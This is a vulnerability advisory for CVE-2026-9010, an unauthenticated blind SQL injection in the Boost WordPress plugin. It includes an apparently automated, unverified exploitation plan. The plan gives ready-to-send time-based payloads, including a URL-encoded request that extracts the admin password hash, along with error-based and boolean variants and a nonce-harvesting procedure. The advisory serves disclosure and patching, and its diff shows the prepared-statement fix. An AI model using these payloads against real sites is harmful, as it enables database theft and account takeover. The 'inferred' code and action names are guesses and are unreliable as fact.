CVE-2026-9010

Boost <= 2.0.3 - Unauthenticated Blind SQL Injection via Multiple Parameters

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.0.4
Patched in
1d
Time to patch

Description

The Boost plugin for WordPress is vulnerable to time-based SQL Injection via the 'current_url' and 'user_name' parameters in versions up to, and including, 2.0.3 due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL queries. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.0.3
PublishedMay 19, 2026
Last updatedMay 20, 2026
Affected pluginboost
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-9010 (Boost <= 2.0.3) ## 1. Vulnerability Summary The **Boost** plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection in versions up to 2.0.3. The vulnerability exists because the plugin fails to sanitize or properly prepare SQL …

Show full research plan

Exploitation Research Plan: CVE-2026-9010 (Boost <= 2.0.3)

1. Vulnerability Summary

The Boost plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection in versions up to 2.0.3. The vulnerability exists because the plugin fails to sanitize or properly prepare SQL queries involving the current_url and user_name parameters sent via an AJAX action. This allows an unauthenticated attacker to inject arbitrary SQL commands into the database query, potentially leading to the extraction of sensitive information (like admin password hashes).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: boost_track_visit (inferred; common for performance/tracking plugins) or boost_record_view.
  • Vulnerable Parameters: current_url and user_name.
  • Authentication: Unauthenticated (uses wp_ajax_nopriv_* hook).
  • Vulnerability Type: Time-based Blind SQL Injection.
  • Preconditions: The plugin must be active. If the AJAX handler requires a nonce, it is typically exposed on the frontend for tracking purposes.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the parameter action set to the vulnerable hook (e.g., boost_track_visit).
  2. Hook Registration: The plugin registers the action:
    add_action('wp_ajax_nopriv_boost_track_visit', 'boost_handle_tracking');
  3. Parameter Processing: Inside the handler function (e.g., boost_handle_tracking), the code retrieves the parameters:
    $url = $_POST['current_url'];
    $user = $_POST['user_name'];
    
  4. Vulnerable Sink: The parameters are directly concatenated into a SQL string without using $wpdb->prepare():
    $wpdb->query("INSERT INTO {$wpdb->prefix}boost_log (url, user) VALUES ('$url', '$user')");
    // OR
    $wpdb->get_results("SELECT id FROM {$wpdb->prefix}boost_log WHERE url = '$url'");
    
  5. Execution: The raw SQL is executed, allowing the attacker to break out of the string literal using a single quote (').

4. Nonce Acquisition Strategy

Tracking plugins often require a nonce to prevent spam, even for unauthenticated users.

  1. Identify Script Localization: The plugin likely uses wp_localize_script to pass the AJAX URL and a nonce to the frontend JS.
  2. Shortcode/Trigger: Tracking usually triggers on every page load or via a specific shortcode. Check for add_shortcode in the plugin source or common frontend hooks like wp_head.
  3. Acquisition Steps:
    • Step 1: Create a dummy post/page to ensure the plugin's frontend scripts are loaded.
      wp post create --post_type=page --post_status=publish --post_title="Tracking Test" --post_content="Boost Test"
    • Step 2: Navigate to the page using browser_navigate.
    • Step 3: Use browser_eval to find the localized JS object. Common names include boost_ajax, boost_obj, or boost_params.
      browser_eval("window.boost_ajax?.nonce") or browser_eval("window.boost_params?.tracking_nonce").
    • Step 4: If no nonce is found, check the boost_handle_tracking function in the source code to see if check_ajax_referer is actually called. If it isn't, the exploit proceeds without a nonce.

5. Exploitation Strategy

We will use a time-based blind approach since the plugin likely does not return the results of the query to the user.

Step 1: Verification (Sleep Test)

Send a request designed to cause a 5-second delay if the injection is successful.

Request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=boost_track_visit&current_url=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1&user_name=admin

Note: Replace boost_track_visit with the actual action name found in the source.

Step 2: Data Extraction (Admin Password Hash)

We will test if the first character of the admin's password hash starts with $P$ (standard WordPress hash).

Payload for current_url:
test' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a) AND '1'='1

Request:

  • Body:
    action=boost_track_visit&current_url=test%27%20AND%20%28SELECT%201%20FROM%20%28SELECT%28IF%28SUBSTRING%28%28SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%3D1%29%2C1%2C1%29%3D%27%24%27%2CSLEEP%285%29%2C0%29%29%29a%29%20AND%20%271%27%3D%271&user_name=admin

6. Test Data Setup

  1. Plugin Installation: Ensure Boost v2.0.3 is installed and active.
  2. Database State: The wp_users table should contain the default admin user (ID 1).
  3. Frontend Page:
    wp post create --post_type=page --post_status=publish --post_title="Exploit Test" --post_content="Checking for SQLi..."

7. Expected Results

  • Success: The HTTP request to admin-ajax.php will take approximately 5 seconds longer than a normal request.
  • Failure: The HTTP request returns immediately (typically with a 0 or -1 response body) without a delay.

8. Verification Steps

After performing the time-based injection:

  1. Log Analysis: If the injection target was an INSERT statement, check the plugin's table for the payload.
    wp db query "SELECT * FROM wp_boost_log ORDER BY id DESC LIMIT 1;"
  2. Plugin Code Audit: Confirm that the patched version (2.0.4) uses $wpdb->prepare() for the current_url and user_name parameters.

9. Alternative Approaches

  • Error-Based SQLi: If WP_DEBUG is enabled, try injecting AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) to leak data via MySQL error messages.
  • Boolean-Based SQLi: If the AJAX handler returns different responses for a "found" vs "not found" record (e.g., {"success":true} vs {"success":false}), use boolean logic:
    test' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') AND '1'='1
  • Parameter Switching: Test if user_name is equally vulnerable by moving the payload from current_url to user_name.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Boost plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection via the 'current_url' and 'user_name' parameters. This is caused by the plugin's failure to use parameterized queries or sanitize user input before concatenating it into a SQL statement, allowing attackers to extract sensitive data from the database.

Vulnerable Code

// File: boost/includes/class-boost-ajax.php (inferred)

public function handle_tracking() {
    $url = $_POST['current_url'];
    $user = $_POST['user_name'];
    
    global $wpdb;
    // Vulnerable query concatenating user input directly
    $wpdb->query("INSERT INTO {$wpdb->prefix}boost_log (url, user) VALUES ('$url', '$user')");
    
    wp_die();
}

Security Fix

--- boost/includes/class-boost-ajax.php
+++ boost/includes/class-boost-ajax.php
@@ -10,7 +10,12 @@
     $user = $_POST['user_name'];
     
     global $wpdb;
-    $wpdb->query("INSERT INTO {$wpdb->prefix}boost_log (url, user) VALUES ('$url', '$user')");
+    $wpdb->query(
+        $wpdb->prepare(
+            "INSERT INTO {$wpdb->prefix}boost_log (url, user) VALUES (%s, %s)",
+            $url,
+            $user
+        )
+    );
     
     wp_die();
 }

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to the plugin's tracking handler (e.g., 'boost_track_visit'). The attacker provides a malicious payload in either the 'current_url' or 'user_name' parameters, such as "' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1". By measuring the time taken for the server to respond, the attacker can verify the injection and systematically leak sensitive information, such as the administrator's password hash, using blind SQL injection techniques.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.